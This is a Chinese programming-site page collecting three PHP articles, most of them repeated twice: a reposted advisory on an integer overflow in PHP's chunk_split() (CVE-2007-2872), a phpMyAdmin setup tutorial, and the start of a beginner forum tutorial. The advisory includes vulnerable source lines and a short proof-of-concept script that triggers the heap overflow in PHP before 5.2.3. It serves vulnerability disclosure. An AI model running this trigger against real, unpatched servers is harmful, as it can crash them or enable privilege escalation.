当前位置: 编程技术>php
本页文章导读:
▪PHP5.2下chunk_split()函数整数溢出漏洞 分析
受影响系统:PHP PHP < 5.2.3不受影响系统:PHP PHP 5.2.3描述:--------------------------------------------------------------------------------BUGTRAQ ID: 24261CVE(CAN) ID: CVE-2007-2872PHP是一种流行的WEB服务器端编程语.........
▪phpMyAdmin下载、安装和使用入门教程
对于PHP的逐渐流行,我们有目共睹:无论是BLOG程序中的WordPress,还是CMS程序中的DEDECMS,还是BBS程序中的Discuz!,都可谓经典。随着程序语言选择的不同,WEB应用所使用的数据库也发生了变化.........
▪[php] 我的微型论坛的简单教程[已完成]第1/8页
一直做ASP的我,最近开始学PHP了。第一个作品就是这个微型论坛(也可以叫做留言本),虽然没啥技术含量,但是想起04年刚来的经典论坛学ASP时,起步困难,所以想把我近来学PHP的一点心.........
[1]PHP5.2下chunk_split()函数整数溢出漏洞 分析
来源: 互联网 发布时间: 2013-11-30
受影响系统:
PHP PHP < 5.2.3
不受影响系统:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872
PHP是一种流行的WEB服务器端编程语言。
PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。
PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。
ext/standard/string.c:
1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }
<*来源:Gerhard Wagner
链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>
建议:
--------------------------------------------------------------------------------
厂商补丁:
PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.php.net/downloads.php#v5
文章来自: 绿盟科技
PHP PHP < 5.2.3
不受影响系统:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872
PHP是一种流行的WEB服务器端编程语言。
PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。
PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。
ext/standard/string.c:
1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }
<*来源:Gerhard Wagner
链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>
建议:
--------------------------------------------------------------------------------
厂商补丁:
PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.php.net/downloads.php#v5
文章来自: 绿盟科技
[2]phpMyAdmin下载、安装和使用入门教程
来源: 互联网 发布时间: 2013-11-30
对于PHP的逐渐流行,我们有目共睹:无论是BLOG程序中的WordPress,还是CMS程序中的DEDECMS,还是BBS程序中的Discuz!,都可谓经典。
随着程序语言选择的不同,WEB应用所使用的数据库也发生了变化,转而向MySQL阵营学习。其中对于phpMyAdmin的学习则必不可少。
phpMyAdmin(简称PMA)是一个用PHP编写的,可以通过互联网在线控制和操作MySQL。他是众多MySQL管理员和网站管理员的首选数据库维护工具,通过phpMyAdmin可以完全对MySQL数据库进行操作。
一,phpMyAdmin的下载
打开phpMyAdmin的官方站点:http://www.phpmyadmin.net/ ,在页面中选择“Download”,目前最新版本为phpMyAdmin 2.10.1,选择“all-languages.zip”文件下载
下载后的ZIP文件通过解压软件进行解压的本地磁盘。如果本地有MySQL则可在本地测试,否则上传到支持MySQL的WEB服务器上,比如将所有解压文件上传到leosn.com的phpmyadmin文件夹内,则可通过“http://leosn.com/phpmyadmin ”进行访问。
二,phpMyAdmin的安装
当然,无论是在本地测试还是在远程服务器上测试,都需要进行如下的文件配置才能正常使用phpMyAdmin。
首先,在下载解压下来的文件中有一个文件“config.sample.inc.php”,这是phpMyAdmin配置文件的样本文件,我们需要把该文件中的所有代码拷贝,新建一个文件“config.inc.php”,并将代码粘贴。文件config.inc.php是phpMyAdmin的配置文件,上传服务器时必须上传该文件。
对于config.inc.php文件,最重要的即是修改加入phpMyAdmin连接MySQL的用户名和密码。寻找到代码行:
// $cfg['Servers'][$i]['controluser'] = 'pma';
// $cfg['Servers'][$i]['controlpass'] = 'pmapass';
将“//”注释号删除,同时输入MySQL中配置的用户名和密码(远程服务器的请联系你的空间服务商),比如这里:
$cfg['Servers'][$i]['controluser'] = 'leosn_com';
$cfg['Servers'][$i]['controlpass'] = '*********';
注意:如果需要通过远程服务器调试使用phpMyAdmin,则需要添加blowfish_secret内容定义Cookie,寻找到代码行:
$cfg['blowfish_secret'] = '';
设置内容为COOKIE
$cfg['blowfish_secret'] = 'leosn';
三,phpMyAdmin的使用
打开phpMyAdmin所在服务器目录,比如http://www.leosn.com/phpmyadmin/ ,继续输入MySQL用户的用户名和密码,进入。
选择相关数据库可看到数据库中的各表,可进行表、字段的增删改,可以导入、导出数据库信息。总之选择中文语系的phpMyAdmin,你可以很快就入门。
随着程序语言选择的不同,WEB应用所使用的数据库也发生了变化,转而向MySQL阵营学习。其中对于phpMyAdmin的学习则必不可少。
phpMyAdmin(简称PMA)是一个用PHP编写的,可以通过互联网在线控制和操作MySQL。他是众多MySQL管理员和网站管理员的首选数据库维护工具,通过phpMyAdmin可以完全对MySQL数据库进行操作。
一,phpMyAdmin的下载
打开phpMyAdmin的官方站点:http://www.phpmyadmin.net/ ,在页面中选择“Download”,目前最新版本为phpMyAdmin 2.10.1,选择“all-languages.zip”文件下载
下载后的ZIP文件通过解压软件进行解压的本地磁盘。如果本地有MySQL则可在本地测试,否则上传到支持MySQL的WEB服务器上,比如将所有解压文件上传到leosn.com的phpmyadmin文件夹内,则可通过“http://leosn.com/phpmyadmin ”进行访问。
二,phpMyAdmin的安装
当然,无论是在本地测试还是在远程服务器上测试,都需要进行如下的文件配置才能正常使用phpMyAdmin。
首先,在下载解压下来的文件中有一个文件“config.sample.inc.php”,这是phpMyAdmin配置文件的样本文件,我们需要把该文件中的所有代码拷贝,新建一个文件“config.inc.php”,并将代码粘贴。文件config.inc.php是phpMyAdmin的配置文件,上传服务器时必须上传该文件。
对于config.inc.php文件,最重要的即是修改加入phpMyAdmin连接MySQL的用户名和密码。寻找到代码行:
// $cfg['Servers'][$i]['controluser'] = 'pma';
// $cfg['Servers'][$i]['controlpass'] = 'pmapass';
将“//”注释号删除,同时输入MySQL中配置的用户名和密码(远程服务器的请联系你的空间服务商),比如这里:
$cfg['Servers'][$i]['controluser'] = 'leosn_com';
$cfg['Servers'][$i]['controlpass'] = '*********';
注意:如果需要通过远程服务器调试使用phpMyAdmin,则需要添加blowfish_secret内容定义Cookie,寻找到代码行:
$cfg['blowfish_secret'] = '';
设置内容为COOKIE
$cfg['blowfish_secret'] = 'leosn';
三,phpMyAdmin的使用
打开phpMyAdmin所在服务器目录,比如http://www.leosn.com/phpmyadmin/ ,继续输入MySQL用户的用户名和密码,进入。
选择相关数据库可看到数据库中的各表,可进行表、字段的增删改,可以导入、导出数据库信息。总之选择中文语系的phpMyAdmin,你可以很快就入门。
[3][php] 我的微型论坛的简单教程[已完成]第1/8页
来源: 互联网 发布时间: 2013-11-30
一直做ASP的我,最近开始学PHP了。第一个作品就是这个微型论坛(也可以叫做留言本),虽然没啥技术含量,但是想起04年刚来的经典论坛学ASP时,起步困难,所以想把我近来学PHP的一点心得写出来,希望给和我一样学习PHP的朋友一点参考,能让初学者走的弯子少一点,顺利点。也算我为论坛做的一点贡献吧。(其实说这是教程我心虚的很,主要我也是初学者,代码写的菜,希望有经验者能给予指点)。
最好手边能有一本PHP基础的书,我用的书一本是人民邮电的《精通PHP+MYSQL应用开发》(很多人都反映它不怎么样);另一本是北京理工大学出版社的《PHP基础教程》,书比较老了,但是介绍的PHP函数比较细致。我文字表达能力有限,希望看不明白的同学表骂我……
另:我利用下班时间写这篇东西,打算一边完善这个小论坛一边写。因为时间有限,作者水平更有限,所以我准备每天更新一点直到写完为止,要一下子全部写完我估计很有难度,希望大家见谅)
下面开始吧:
我的论坛的功能:
用户分三个级别:游客;注册用户;管理员
用户:用户注册;登陆;发帖;回复;编辑自己的帖子;
管理员:管理(包括添加、修改、删除)论坛版块;管理帖子(置顶、精华、移动、删除);
如果版块完全开放则游客也可以发帖子。
最好手边能有一本PHP基础的书,我用的书一本是人民邮电的《精通PHP+MYSQL应用开发》(很多人都反映它不怎么样);另一本是北京理工大学出版社的《PHP基础教程》,书比较老了,但是介绍的PHP函数比较细致。我文字表达能力有限,希望看不明白的同学表骂我……
另:我利用下班时间写这篇东西,打算一边完善这个小论坛一边写。因为时间有限,作者水平更有限,所以我准备每天更新一点直到写完为止,要一下子全部写完我估计很有难度,希望大家见谅)
下面开始吧:
我的论坛的功能:
用户分三个级别:游客;注册用户;管理员
用户:用户注册;登陆;发帖;回复;编辑自己的帖子;
管理员:管理(包括添加、修改、删除)论坛版块;管理帖子(置顶、精华、移动、删除);
如果版块完全开放则游客也可以发帖子。
最新技术文章: